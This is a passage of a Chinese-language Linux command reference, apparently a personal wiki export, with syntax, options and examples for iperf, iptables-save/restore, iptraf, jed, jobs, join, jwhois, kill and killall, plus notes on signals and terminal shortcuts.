
<td>与-F一样,由标准输入输出文件输入数据。</td>

</tr>

<tr>

<td>杂项</td>

</tr>

<tr>

<td>-h, --help</td>

<td>显示命令行参考并退出 。</td>

</tr>

<tr>

<td>-v, --version</td>

<td>显示版本信息和编译信息并退出。</td>

</tr>

</tbody>

</table>

</div>

!! 实例  

:<div>


带宽测试通常采用UDP模式,因为能测出极限带宽、时延抖动、丢包率。在进行测试时,首先以链路理论带宽作为数据发送速率进行测试,例如,从客户端到服务器之间的链路的理论带宽为100Mbps,先用`-b 100M`进行测试,然后根据测试结果(包括实际带宽,时延抖动和丢包率),再以实际带宽作为数据发送速率进行测试,会发现时延抖动和丢包率比第一次好很多,重复测试几次,就能得出稳定的实际带宽。

 "UDP模式" 

服务器端:

```
iperf -u -s
```

客户端:

```
iperf -u -c 192.168.1.1 -b 100M -t 60
```

在udp模式下,以100Mbps为数据发送速率,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。

```
iperf -u -c 192.168.1.1 -b 5M -P 30 -t 60
```

客户端同时向服务器端发起30个连接线程,以5Mbps为数据发送速率。

```
iperf -u -c 192.168.1.1 -b 100M -d -t 60
```

以100M为数据发送速率,进行上下行带宽测试。

 "TCP模式" 

服务器端:

```
iperf -s
```

客户端:

```
iperf -c 192.168.1.1 -t 60
```

在tcp模式下,客户端到服务器192.168.1.1上传带宽测试,测试时间为60秒。

```
iperf -c 192.168.1.1  -P 30 -t 60
```

客户端同时向服务器端发起30个连接线程。

```
iperf -c 192.168.1.1  -d -t 60
```

进行上下行带宽测试。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
! 常见用法 
:<div>

```bash
iptables -vnL
iptables -A INPUT -s $ip -j REJECT
```
</div>
!!简介
:<div>
iptables-restore
===

还原iptables表的配置

</div>

!! 补充说明

:<div>


"iptables-restore命令" 用来还原iptables-save命令所备份的iptables配置。

</div>

!! 语法  

:<div>


```
iptables-restor(选项)
```

</div>

!! 选项  

:<div>


```
-c:指定在还原iptables表时候,还原当前的数据包计数器和字节计数器的值;
-t:指定要还原表的名称。
```

</div>

!! 实例  

:<div>


```
iptables-restor < iptables.bak
```

iptables.bak是iptables-save命令所备份的文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
iptables-save
===

备份iptables的表配置

</div>

!! 补充说明

:<div>


"iptables-save命令" 用于将linux内核中的iptables表导出到标准输出设备商,通常,使用shell中I/O重定向功能将其输出保存到指定文件中。

</div>

!! 语法  

:<div>


```
iptables-save(选项)
```

</div>

!! 选项  

:<div>


```
-c:指定要保存的iptables表时,保存当权的数据包计算器和字节计数器的值;
-t:指定要保存的表的名称。
```

</div>

!! 实例  

:<div>


```
[root@localhost ~]# iptables-save -t filter > iptables.bak
[root@localhost ~]# cat iptables.bak
# Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013
*filter
:INPUT DROP [48113:2690676]
:FORWARD accept [0:0]
:OUTPUT ACCEPT [3381959:1818595115]
-A INPUT -i lo -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
COMMIT
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
iptraf
===

实时地监视网卡流量

</div>

!! 补充说明

:<div>


"iptraf命令" 可以实时地监视网卡流量,可以生成网络协议数据包信息、以太网信息、网络节点状态和ip校验和错误等信息。

</div>

!! 语法  

:<div>


```
iptraf(选项)
```

</div>

!! 选项  

:<div>


```
-i网络接口:立即在指定网络接口上开启IP流量监视;
-g:立即开始生成网络接口的概要状态信息;
-d网络接口:在指定网络接口上立即开始监视明细的网络流量信息;
-s网络接口:在指定网络接口上立即开始监视TCP和UDP网络流量信息;
-z网络接口:在指定网络接口上显示包计数;
-l网络接口:在指定网络接口上立即开始监视局域网工作站信息;
-t时间:指定iptraf指令监视的时间;
-B;将标注输出重新定向到“/dev/null”,关闭标注输入,将程序作为后台进程运行;
-f:清空所有计数器;
-h:显示帮助信息。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
iptstate
===

显示iptables的工作状态

</div>

!! 补充说明

:<div>


"iptstate命令" 以top指令类似的风格时显示Linux内核中iptables的工作状态。

</div>

!! 语法  

:<div>


```
iptstate(选项)
```

</div>

!! 选项  

:<div>


```
-b:指定输出信息的排序规则;
-d:不动态地改变窗口大小;
-f:过滤本地回送信息;
-l:将ip地址解析为域名;
-L:隐藏于DNS查询相关状态;
-r:指定刷新屏幕的频率;
-R:反序排列;
-s:单次运行模式;
-t:显示汇总信息。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
todo
[[Centos 官方镜像|http://vault.centos.org/]]

[[阿里云|http://mirrors.aliyun.com]]

[[东软镜像|http://mirrors.neusoft.edu.cn/]]
!!简介
:<div>
ispell
===

检查文件中出现的拼写错误

</div>

!! 补充说明

:<div>


"ispell命令" 用于检查文件中出现的拼写错误。

</div>

!! 语法  

:<div>


```
ispell(参数)
```

</div>

!! 参数  

:<div>


文件:指定要进行拼写检查的文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
jed
===

主要用于编辑代码的编辑器

</div>

!! 补充说明

:<div>


"jed命令" 是由Slang所开发,其主要用用途是编辑程序的源代码。它支持彩色语法加亮显示,可以模拟emacs,EDT,wordstar和Brief编辑器。

</div>

!! 语法  

:<div>


```
jed(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-2:显示上下两个编辑区;
-batch:以批处理模式来执行;
-f<函数>:执行Slang函数;
-g<行数>:移到缓冲区中指定的行数;
-i<文件>:将指定的文件载入缓冲区;
-n:不要载入jed.rc配置文件;
-s<字符串>:查找并移到指定的字符串。
```

</div>

!! 参数  

:<div>


文件:指定待编辑的文件列表。

</div>

!! 实例  

:<div>


以上下两个编辑区的方式,开启 mysource.c 原始代码文件。若要切换编辑区,可利用稍后介绍的命令,开启操作命令,开启功能表后,按 3 ,再按 2 ,即可切换编辑区:

```
jed -2 mysource.c
```

 "操作" 

有些Emacs的组合键和jed菜单组合键冲突例如Alt+f在Emacs中应该是“前进一个单词”,而在jed中则是“文件菜单” 想使用Emacs风格的组合键的话,编辑`/usr/share/jed/lib/menus.slc`找到如下段落:

```
unsetsetkey ("selectmenubar", "\em");
unsetsetkey ("@\emF", "\ef");
unsetsetkey ("@\emE", "\ee");
unsetsetkey ("@\emo", "\eo");
% Mode menu unsetsetkey ("@\emS", "\es");
unsetsetkey ("@\emB", "\eb");
unsetsetkey ("@\emi", "\ei");
unsetsetkey ("@\emH", "\eh");
unset_setkey ("@\emy", "\ey");
```

可以根据自己的需要修改,也可以简单的注释掉;使用菜单可以用F10键。

由于Jed可模拟多种编辑器,其各自按键指令也有所不同。这里以模拟 Emacs 为例,说明在编辑器中的操作方法。

 "文件" 

```
/usr/share/jed/lib/*.sl 这是默认的运行jed slang的文件。
/usr/share/jed/lib/site.sl 这是默认的启动文件。
/etc/jed.rc 这是全局系统配置文件。
~/.jedrc 这是用户配置文件。
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
jobs
===

显示Linux中的任务列表及任务状态

</div>

!! 补充说明

:<div>


"jobs命令" 用于显示Linux中的任务列表及任务状态,包括后台运行的任务。该命令可以显示任务号及其对应的进程号。其中,任务号是以普通用户的角度进行的,而进程号则是从系统管理员的角度来看的。一个任务可以对应于一个或者多个进程号。

在Linux系统中执行某些操作时候,有时需要将当前任务暂停调至后台,或有时须将后台暂停的任务重启开启并调至前台,这一序列的操作将会使用到 jobs、bg、和 fg 三个命令以及两个快捷键来完成。

</div>

!! 语法  

:<div>


```
jobs(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-l:显示进程号;
-p:仅任务对应的显示进程号;
-n:显示任务状态的变化;
-r:仅输出运行状态(running)的任务;
-s:仅输出停止状态(stoped)的任务。
```

</div>

!! 参数  

:<div>


任务标识号:指定要显示的任务识别号。

</div>

!! 实例  

:<div>


使用jobs命令显示当前系统的任务列表,输入如下命令:

```
jobs -l               #显示当前系统的任务列表
```

上面的命令执行后,将显示出当前系统下的任务列表信息,具体如下所示:

```
[1] + 1903 运行中          find / -name password &
```

注意:要得到以上输出信息,必须在执行jobs命令之前执行命令`find / -name password &`。否则,执行jobs命令不会显示任何信息。

其中,输出信息的第一列表示任务编号,第二列表示任务所对应的进程号,第三列表示任务的运行状态,第四列表示启动任务的命令。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
joe
===

强大的纯文本编辑器

</div>

!! 补充说明

:<div>


"joe命令" 是一款功能强大的纯文本编辑器,拥有众多编写程序和文本的优良特性。

</div>

!! 语法  

:<div>


```
joe(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-force:强制在最后一行的结尾处加上换行符号;
-lines<行数>:设置行数;
-lightoff:选取的区块在执行完区块命令后,就会恢复成原来的状态;
-autoindent:自动缩排;
-backpath:<目录>:指定备份文件的目录;
-beep:编辑时,若有错误即发出哔声;
-columns<栏位>:设置栏数;
-csmode:可执行连续查找模式;
-dopadding:是程序跟tty间存在缓冲区;
-exask:在程序中,执行“Ctrl+k+x”时,会先确认是否要保存文件;
-force:强制在最后一行的结尾处加上换行符号;
-help:执行程序时一并显示帮助;
-keepup:在进入程序后,画面上方为状态列;
-marking:在选取区块时,反白区块会随着光标移动;
-mid:当光标移出画面时,即自动卷页,使光标回到中央;
-nobackups:不建立备份文件;
-nonotice:程序执行时,不显示版本信息;
-nosta:程序执行时,不显示状态列;
-noxon:尝试取消“Ctrl+s”和“Ctrl+q”键的功能;
-orphan:若同时开启一个以上的文件,则其他文件会置于独立的缓冲区,而不会另外开启编辑区;
-pg<行数>:按“PageUp”或“PageDown”换页时,所要保留前一页的行数;
-skiptop<行数>:不使用屏幕上方指定的行数。
```

</div>

!! 参数  

:<div>


文件:指定要编辑的文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
join
===

两个文件中指定栏位内容相同的行连接起来

</div>

!! 补充说明

:<div>


"join命令" 用来将两个文件中,制定栏位内容相同的行连接起来。找出两个文件中,指定栏位内容相同的行,并加以合并,再输出到标准输出设备。

</div>

!! 语法  

:<div>


```
join(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a<1或2>:除了显示原来的输出内容之外,还显示指令文件中没有相同栏位的行;
-e<字符串>:若[文件1]与[文件2]中找不到指定的栏位,则在输出中填入选项中的字符串;
-i或--ignore-case:比较栏位内容时,忽略大小写的差异;
-o<格式>:按照指定的格式来显示结果;
-t<字符>:使用栏位的分割字符;
-v<1或2>:更-a相同,但是只显示文件中没有相同栏位的行;
-1<栏位>:连接[文件1]指定的栏位;
-2<栏位>:连接[文件2]指定的栏位。
```

</div>

!! 参数  

:<div>


*   文件1:要进行合并操作的第1个文件参数;
*   文件2:要进行合并操作的第2个文件参数。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
jwhois
===

whois 客户端服务

</div>

!! 补充说明

:<div>


"jwhois"  searches Whois servers for the object on the command line.The host to query is taken from a global configuration file, a configuration file specified on the command line, or selected directly on the command line.

</div>

!! 语法  

:<div>


```
jwhois [选项]
```

</div>

!! 选项  

:<div>


```
--version                  display version number and patch level
--help                     display this help
-v, --verbose              verbose debug output
-c FILE, --config=FILE     use FILE as configuration file
-h HOST, --host=HOST       explicitly query HOST
-n, --no-redirect          disable content redirection
-s, --no-whoisservers      disable whois-servers.net service support
-a, --raw                  disable reformatting of the query
-i, --display-redirections display all redirects instead of hiding them
-p PORT, --port=PORT       use port number PORT (in conjunction with HOST)
-r, --rwhois               force an rwhois query to be made
--rwhois-display=DISPLAY   sets the display option in rwhois queries
--rwhois-limit=LIMIT       sets the maximum number of matches to return
```

> 注:以上英文部分寻求网友协助翻译,翻译结果可发送至 sa(at)linuxde.net,谢谢!

</div>

!! 实例  

:<div>


显示指定用户信息:

```
# jwhois root

//查找root用户信息
```

查询域名信息:

```
[root@localhost ~]# jwhois linuxde.net
[Querying whois.verisign-grs.com]
[Redirected to whois.west263.com]
[Querying whois.west263.com]
[whois.west263.com]
Domain Name: linuxde.net                   
Registry Domain id: whois protect
Registrar WHOIS Server: whois.west263.com

...省略部分内容
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
kernelversion
===

打印当前内核的主版本号

</div>

!! 补充说明

:<div>


"kernelversion命令" 用于打印当前内核的主版本号。

</div>

!! 语法  

:<div>


```
kernelversion
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!描述
:<div>

* kexec命令是Linux内核的一个补丁,让您可以从当前正在运行的内核直接引导到一个新内核。在上面描述的引导序列中,kexec跳过了整个引导装载程序阶段(第一部分)并直接跳转到我们希望引导到的内核。不再有硬件的重启,不再有固件操作,不再涉及引导装载程序。完全避开了引导序列中最弱的一环 -- 固件。这一功能部件带来的最大益处在于,系统现在可以极其快速地重新启动。

* kexec的好处:要求高可用性的系统,以及需要不断重新启动系统的内核开发人员,都将受益于kexec。因为 kexec跳过了系统重新启动过程中最耗时的部分(也就是固件初始化硬件设备的阶段),所以重新启动变得非常快,可用性得到了提高。
</div>


! 选项 
:<div>

```
-l:指定内核映像文件;
-e:允许当前被加载的内核;
-f:强制立即调用系统调用“kexec”,而不调用“shutdown”;
-t:指定新内核的类型;
-u:卸载当前的kexec目标内核。
```
</div>
```
/sbin/kdump
/sbin/kexec
/sbin/makedumpfile
/sbin/mkdumprd
/sbin/vmcore-dmesg
/usr/bin/kdumpctl
```
;ctrl-c 
:发送 SIGINT 信号给前台进程组中的所有进程。常用于终止正在运行的程序。
;ctrl-z 
:发送 SIGTSTP 信号给前台进程组中的所有进程,常用于挂起一个进程。
;ctrl-d 
:不是发送信号,而是表示一个特殊的二进制值,表示 EOF。
;ctrl-\ 
:发送 SIGQUIT 信号给前台进程组中的所有进程,终止前台进程并生成 core 文件。

---

#Key Function
##Ctrl-c Kill foreground process
##Ctrl-z Suspend foreground process
##Ctrl-d Terminate input, or exit shell
##Ctrl-s Suspend output
##Ctrl-q Resume output
##Ctrl-o Discard output
##Ctrl-l Clear screen
''kill''命令用来删除执行中的程序或工作。

kill可将指定的信息送至程序。

预设的信息为SIGTERM(15),可将指定程序终止。

若仍无法终止该程序,可使用SIGKILL(9)信息尝试强制删除程序。

程序或工作的编号可利用`ps`指令或`job`指令查看。


!选项

:<div>

```
 -a:当处理当前进程时,不限制命令名和进程号的对应关系;
 -l <信息编号>:若不加<信息编号>选项,则-l参数会列出全部的信息名称;
 -p:指定kill 命令只打印相关进程的进程号,而不发送任何信号;
 -s <信息名称或编号>:指定要送出的信息;
 -u:指定用户。
```
</div>





! 异常
 
:<div>

;kill -9发送SIGKILL信号将其终止,但是以下两种情况不起作用:

```

a、该进程处于"Zombie"状态(使用ps命令返回defunct的进程)。此时进程已经释放所有资源,但还未得到其父进程的确认。"zombie"进程要等到下次重启时才会消失,但它的存在不会影响系统性能。

b、 该进程处于"kernel mode"(核心态)且在等待不可获得的资源。处于核心态的进程忽略所有信号处理,因此对于这些一直处于核心态的进程只能通过重启系统实现。进程在AIX 中会处于两种状态,即用户态和核心态。只有处于用户态的进程才可以用“kill”命令将其终止。  
```
;测试

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>


int main(int argc ,char *argv[])
{
  pid_t pid;

  pid = fork();
  if(pid<0){
    perror("fork");
    return -1;
  }else if(pid==0){
    printf("I am a child\n");
    exit(0);
  }else{
    while(1){
      sleep(100);
    }
  }
  return 0;
}

```

[img[kill_test_20181114141929.png]]
</div>

! 最佳实践

* 首先使用kill -15 ,2 ,1 , 慎用kill -9 
:<div>

; 1. 慎用kill -9.
:它没有给进程留下善后的机会:

```
1) 关闭socket链接
2) 清理临时文件
3) 将自己将要被销毁的消息通知给子进程
4) 重置自己的终止状态
```
</div>


!快捷键
 
:<div>

|!按键|!信号|
|ctrl-c|SIGINT(2)        |
|ctrl-z|SIGSTOP(19)  |
|ctrl-d|EOF                 |
|fg     |SIGCONT(18) |
</div>

!脚本
 
:<div>

```
在脚本实现可以用
echo -e '\00X'   或    echo $'\00X'    #x表示十进制数
如:
Ctrl-A 用 \001
Ctrl-B 用 \002
Ctrl-C 用 \003
Ctrl-D 用 \004
... ...
Ctrl-Z 用 \032

如,要表示Ctrl-D,可以用
echo -e '\004'
```
</div>

!实例

{{中断信号}}
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
!! 01. 说明
:<div>

使用进程的名称来杀死一组进程

''killall命令''使用进程的名称来杀死进程,使用此指令可以杀死一组同名进程。我们可以使用kill命令杀死指定进程PID的进程,如果要找到我们需要杀死的进程,我们还需要在之前使用ps等命令再配合grep来查找进程,而killall把这两个过程合二为一,是一个很好用的命令。
</div>

!!02.  语法  
:<div>

```
killall(选项)(参数)
```
</div>

!! 03. 选项  
:<div>

```
-e:对长名称进行精确匹配;
-l:忽略大小写的不同;
-p:杀死进程所属的进程组;
-i:交互式杀死进程,杀死进程前需要进行确认;
-l:打印所有已知信号列表;
-q:如果没有进程被杀死。则不输出任何信息;
-r:使用正规表达式匹配要杀死的进程名称;
-s:用指定的进程号代替默认信号“SIGTERM”;
-u:杀死指定用户的进程。
```
</div>

!! 04. 参数  
:<div>

进程名称:指定要杀死的进程名称。
</div>

!! 05. 实例  
:<div>

杀死所有同名进程

```
killall vi
```
</div>
!简介 
:<div>

```
杀掉所有用户进程,保留当前进程
  killall5  is  the  SystemV killall command. 
